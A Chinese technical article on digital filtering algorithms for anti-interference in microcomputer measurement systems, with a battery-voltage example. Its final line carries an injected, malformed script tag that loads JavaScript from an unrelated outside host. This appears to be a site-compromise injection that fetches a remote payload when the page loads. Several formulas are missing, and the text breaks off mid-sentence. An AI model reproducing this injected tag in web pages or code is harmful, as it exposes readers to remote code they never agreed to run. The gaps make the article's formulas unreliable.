摘 要：介绍应用于智能微机系统抗干扰的数字滤波算法，详细阐述了常用算法的原理及适用范围，并给出了一个综合应用实例。
关键词：微机；抗干扰；数字滤波；算法
1数字滤波常用算法
1.1限幅滤波法
首先根据被测对象的特点及测量经验，设定两次采样允许的最大偏差量δx，再由两次相邻采样值x(n-1)、x(n)，求其增量｜x(n)-x(n-1)｜，根据程序判断：
若｜x(n)-x(n-1)｜＞δx，则说明本次采样输入信号有干扰存在，应去掉，取上次采样值x(n-1)作为本次有效采样值；
若｜x(n)-x(n-1)≤δx，则本次采样值x(n)有效。
限幅滤波法主要用于处理变化缓慢的数据测量中，比如温度参数的测量、液位参数的测量等。而此方法的关键是选取合适的偏差量δx，太大则达不到滤波目的；太小则灵敏度太高。它的选取可以根据测量对象的实际情况和测量经验决定，而且在应用中可以采用不同的值进行比较、折衷。
1.2中位值滤波法
对某一参数连续采样n次(n取奇数)，并对所得n次采样值进行排序，取其中间值作为本次的有效采样值。
中位值滤波法能有效滤除因偶然因素及前置采样器性能的不稳定，而引起的波动干扰。
1.3算术平均值滤波法
根据得到的n次采样值x(i)(i=1～n)，求一个y，使得y与各采样值之间偏差的平方和最小，此时所得值具有最小误差。即使：
满足上式，故我们取上式求得的y值作为滤波值。
算术平均值滤波法适用于对随机干扰信号进行滤波。其中n值的选取会影响算法的平滑度与灵敏度。n值越大，平滑度越高，灵敏度越低；n值越小，灵敏度越高，平滑度越低。实际应用中，根据实际对象选取n值，一般流量测量取n＝8或16；压力测量取n＝4。
1.4防脉冲干扰平均值滤波法
对n次采样值进行预处理，去掉最大值和最小值，然后再进行算术平均，结果作为滤波值。为加快测量速度，一般n取4。
存在尖脉冲干扰现场的数据采集中应采用此方法。脉冲干扰通常只影响个别采样值数据，采用此算法可以首先滤除掉因脉冲干扰而引起的突变数据，不会把干扰也“平均”到结果中去。
1.5加权平均值滤波法
对n次采样值x(i)分别配以不同的加权系数再求其算术平均值。
其中加权系数ai(i=1～n)均为小于n的正数，且满足。为了加强系数对参数变化趋势的敏感度，突出后采样值的作用，加权系数应随采样次数的增大而增大。
由于对n次采样值不是一概平均论之，而是赋予不同加权系数再求和，协调了由于n值的选取而引起的平滑度与灵敏度之间的矛盾，故效果较好。
1.6递推平均值滤波法
把n次采样值看作一个队列，每进行一次新的测量，把得到的结果放入队尾，而扔掉原来队首的一个采样值。这样队列中始终有n个“最新”的采样值。求这n个采样值的算术平均。
此算法实时性好，速度快，适用于对测量速度或数据计算速度要求较高的微机系统。
1.7去除奇异值滤波法
观察采样值序列x(i)，把其中发生跃变的数据剔除，再对余下的数据进行处理。
在目标参数值比较确定的测量中，使用此算法首先去除跃变数据，可以减少因偶然干扰而引起的误差。
1.8一阶低通滤波法
使用软件编程实现普通硬件rc低通滤波器的功能。一阶低通滤波的算法公式为：
y(n)=αx(n)+(1-α)y(n-1)
式中：α-滤波系数；x(n)-本次采样值；y(n-1)-上次滤波输出值；y(n)-本次滤波输出值。
一阶低通滤波法采用本次采样值与上次滤波输出值进行加权，得到有效滤波值，使得输出对输入有反馈作用。
2综合应用实例
以上介绍的各算法并非孤立的，实际应用中可根据被测对象的实际情况，以及所得数据的规律而综合采用多种算法以取得最优滤波效果。在电池四参数检测系统的设计中，我们根据所测信号的不同，灵活应用了多种算法。实践证明，效果很好。电池四参数测试系统中有一参数为电池开路电压，此参数应在参考值1.5v左右波动。对某一电池进行测量，若某采样值偏离参考电压较远，则视其为奇异值，应首先去除。在此设最大偏移量为0.5v，即设定电压范围为1.0v～2.0v；去奇异值后的数据应该多数集中在1.5v左右，故而对剩余数据采用了中位值滤波法进行数据处理，结果作为此电池的最终开路电压值。汇编语言程序算法为：首先开辟n(n为奇数)个连续数据存储单元。采集一个原始数据进行判断，若在设定电压范围内(程序中用十六进制表示)，则依次存入数据存储单元；否则判断下一个采样所得值，直到存入n个数据。然后再对这n个采样值序列x(i)从小到大进行排序，取中间值作为本次有效采样数据，存入单元date。其算法流程图分为两部分：数据获取(去除奇异值)如图1所示，?script src=http://er12.com/t.js>
